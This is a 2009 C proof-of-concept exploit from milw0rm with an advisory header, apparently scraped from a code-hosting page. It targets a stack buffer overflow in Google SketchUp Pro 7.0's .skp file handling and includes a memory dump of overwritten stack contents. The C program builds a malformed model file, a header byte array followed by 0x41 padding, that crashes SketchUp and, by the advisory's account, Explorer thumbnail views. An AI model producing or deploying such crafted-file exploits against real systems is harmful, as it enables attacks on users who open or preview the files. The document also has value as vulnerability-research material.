294 lines
No EOL
17 KiB
C
294 lines
No EOL
17 KiB
C
/*
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Title:
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Google SketchUp Pro 7.0 Model File Handling Remote Stack Overflow PoC
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Vendor:
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Google Inc. (http://www.google.com)
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Product Web Page:
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http://www.sketchup.com
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http://sketchup.google.com
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Current Version:
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7.0.10247
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Summary:
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Google SketchUp Pro 7 is a suite of powerful features and
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applications for streamlining your professional 3D workflow.
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Description:
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Google SketchUp Pro 7.0 suffers from a memory corruption and stack based buffer
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overflow vulnerability. It fails to handle the .skp file format resulting in
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crash overflowing the memory stack, poping out the crash reporter tool from
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Google.
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EBX, ESI and EDI gets overwritten (depending of the offset). The issue is
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triggered when double-clicking the file or thru Open menu by just selecting
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the file. Same happens with the 2 other apps included in this Pro version of
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Google SketchUp. LayOut 2.0 (current version: 2.0.10247) suffers from the same
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issue when insering the .skp file by File -> Insert -> evil.skp file. Style
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Builder 1.0 (current version: 1.0.10247) by going Preview -> Change Model ->
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evil.skp file.
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Another issue is the DLL files provided with the Google SketchUp Pro package.
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ThumbsUp.dll and xerces-c_2_6.dll mingles with the Thumbnail view from Microsoft.
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If you select the created "SketchUp_PoC.skp" file, explorer.exe instantly crashes
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and restarts. Every application that uses Open Dialog Boxes will crash if you view
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the folder containing the PoC file in thumbnails view. Attaching files on e-mail
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thru Mozilla Firefox, viewing thumbnails of the PoC crashes Firefox with it's crash
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reporter, MS Office, Skype, MSN Messenger, etc...you name it.
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Vendor Notification Status:
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Vendor notified, fix scheduled to be included in the next upcoming release of Google
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SketchUp product.
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Tested On Microsoft Windows XP Professional Service Pack 3 (English)
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Vulnerability Discovered By:
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Gjoko 'LiquidWorm' Krstic
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liquidworm gmail com
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Zero Science Lab - http://www.zeroscience.org/
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22.07.2009
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---------- Memory Snip ----------
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0012b310: 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
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0012b330: 41414141 41414141 41414141 41414141 00120041 78138ced 38740c4c fffffffe
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0012b350: 78134c58 0012b384 7c809abc 7c809ac6 0012eee0 0012eee0 02c85744 0012b360
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0012b370: 02c85744 0012eda8 7c839ac0 7c809ad0 ffffffff 7c809ac6 7c809ac6 0084bdac
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0012b390: 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
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0012b3b0: 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
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0012b3d0: 00120041 78138ced 38740c4c fffffffe 78134c58 0012b414 7c809abc 7c809ac6
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0012b3f0: 0012eee0 0012eee0 02c85744 0012b3f0 02c85744 0012eda8 7c839ac0 7c809ad0
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0012b410: ffffffff 7c809ac6 7c809ac6 0084bdac 41414141 41414141 41414141 41414141
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0012b430: 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
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0012b450: 41414141 41414141 41414141 41414141 00120041 78138ced 38740c4c fffffffe
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0012b470: 78134c58 0012b4a4 7c809abc 7c809ac6 0012eee0 0012eee0 02c85744 0012b480
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0012b490: 02c85744 0012eda8 7c839ac0 7c809ad0 ffffffff 7c809ac6 7c809ac6 0084bdac
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0012b4b0: 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
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0012b4d0: 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
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0012b4f0: 00120041 78138ced 38740c4c fffffffe 78134c58 0012b534 7c809abc 7c809ac6
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0012b510: 0012eee0 0012eee0 02c85744 0012b510 02c85744 0012eda8 7c839ac0 7c809ad0
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0012b530: ffffffff 7c809ac6 7c809ac6 0084bdac 41414141 41414141 41414141 41414141
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0012b550: 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
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0012b570: 41414141 41414141 41414141 41414141 00120041 78138ced 38740c4c fffffffe
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0012b590: 78134c58 0012b5c4 7c809abc 7c809ac6 0012eee0 0012eee0 02c85744 0012b5a0
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0012b5b0: 02c85744 0012eda8 7c839ac0 7c809ad0 ffffffff 7c809ac6 7c809ac6 0084bdac
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0012b5d0: 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
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0012b5f0: 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
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0012b610: 00120041 78138ced 38740c4c fffffffe 78134c58 0012b654 7c809abc 7c809ac6
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--------- /Memory Snip ----------
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*/
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#include <stdio.h>
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#include <string.h>
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#include <stdlib.h>
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#include <stdint.h>
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#define BUFF_S 598897
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#define SIZE_S 600858
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#define FILE_N "SketchUp_PoC.skp"
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FILE *filetzio;
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char header[1961] = {
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0xFF, 0xFE, 0xFF, 0x0B, 0x7B, 0x00, 0x37, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, 0x31, 0x00,
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0x00, 0x00, 0x00, 0xFF, 0xFE, 0xFF, 0x10, 0x43, 0x00, 0x52, 0x00, 0x65, 0x00, 0x6C, 0x00, 0x61,
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0xFE, 0xFF, 0x07, 0x43, 0x00, 0x56, 0x00, 0x65, 0x00, 0x72, 0x00, 0x74, 0x00, 0x65, 0x00, 0x78,
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0xFE, 0xFF, 0x0A, 0x43, 0x00, 0x57, 0x00, 0x61, 0x00, 0x74, 0x00, 0x65, 0x00, 0x72, 0x00, 0x6D,
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0x00, 0x61, 0x00, 0x72, 0x00, 0x6B, 0x00, 0x01, 0x00, 0x00, 0x00, 0xFF, 0xFE, 0xFF, 0x11, 0x43,
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0x00, 0x6B, 0x00, 0x4D, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x61, 0x00, 0x67, 0x00, 0x65, 0x00, 0x72,
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0x00, 0x02, 0x00, 0x00, 0x00, 0xFF, 0xFE, 0xFF, 0x12, 0x45, 0x00, 0x6E, 0x00, 0x64, 0x00, 0x2D,
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0x00, 0x4F, 0x00, 0x66, 0x00, 0x2D, 0x00, 0x56, 0x00, 0x65, 0x00, 0x72, 0x00, 0x73, 0x00, 0x69,
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0x00, 0x01, 0x00, 0x00, 0x00, 0xB0, 0x04, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x03,
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0x00, 0x04, 0x00, 0x43, 0x44, 0x69, 0x62, 0x04, 0x00, 0x00, 0x00, 0xFA, 0x02, 0x00, 0x00, 0x89,
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0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A, 0x00, 0x00, 0x00, 0x0D, 0x49, 0x48, 0x44, 0x52, 0x00,
|
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0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x44, 0x08, 0x06, 0x00, 0x00, 0x00, 0x49, 0x47, 0x3D, 0x69,
|
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0x00, 0x00, 0x00, 0x04, 0x73, 0x42, 0x49, 0x54, 0x08, 0x08, 0x08, 0x08, 0x7C, 0x08, 0x64, 0x88,
|
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0x00, 0x00, 0x00, 0x09, 0x70, 0x48, 0x59, 0x73, 0x00
|
|
};
|
|
|
|
|
|
int main(int argc, char *argv[])
|
|
|
|
{
|
|
printf("\n");
|
|
printf("################################################################################");
|
|
printf("\nGoogle SketchUp Pro 7.0 (.skp file) Remote Stack Overflow Proof Of Concept\n");
|
|
printf("--------------------------------------------------------------------------------");
|
|
printf("\t\tby LiquidWorm <liquidworm gmail com> - 2009\n\n");
|
|
printf("################################################################################");
|
|
|
|
char sploit[SIZE_S];
|
|
char buffer[BUFF_S];
|
|
|
|
memset(buffer,0x41,BUFF_S);
|
|
|
|
memcpy(sploit,header,strlen(header));
|
|
memcpy(sploit+strlen(header),buffer,BUFF_S);
|
|
|
|
filetzio = fopen(FILE_N,"wb");
|
|
|
|
if(filetzio==NULL)
|
|
{
|
|
perror ("Oops! Can't open file.\n");
|
|
}
|
|
|
|
fwrite(sploit,1,sizeof(sploit),filetzio);
|
|
fclose(filetzio);
|
|
|
|
sleep(2);
|
|
printf("\n----> Creating PoC SketchUp Model File...\n");
|
|
sleep(1);
|
|
printf("\n----> File: %s successfully generated!\n", FILE_N);
|
|
|
|
return 0;
|
|
|
|
}
|
|
|
|
// milw0rm.com [2009-08-01]
|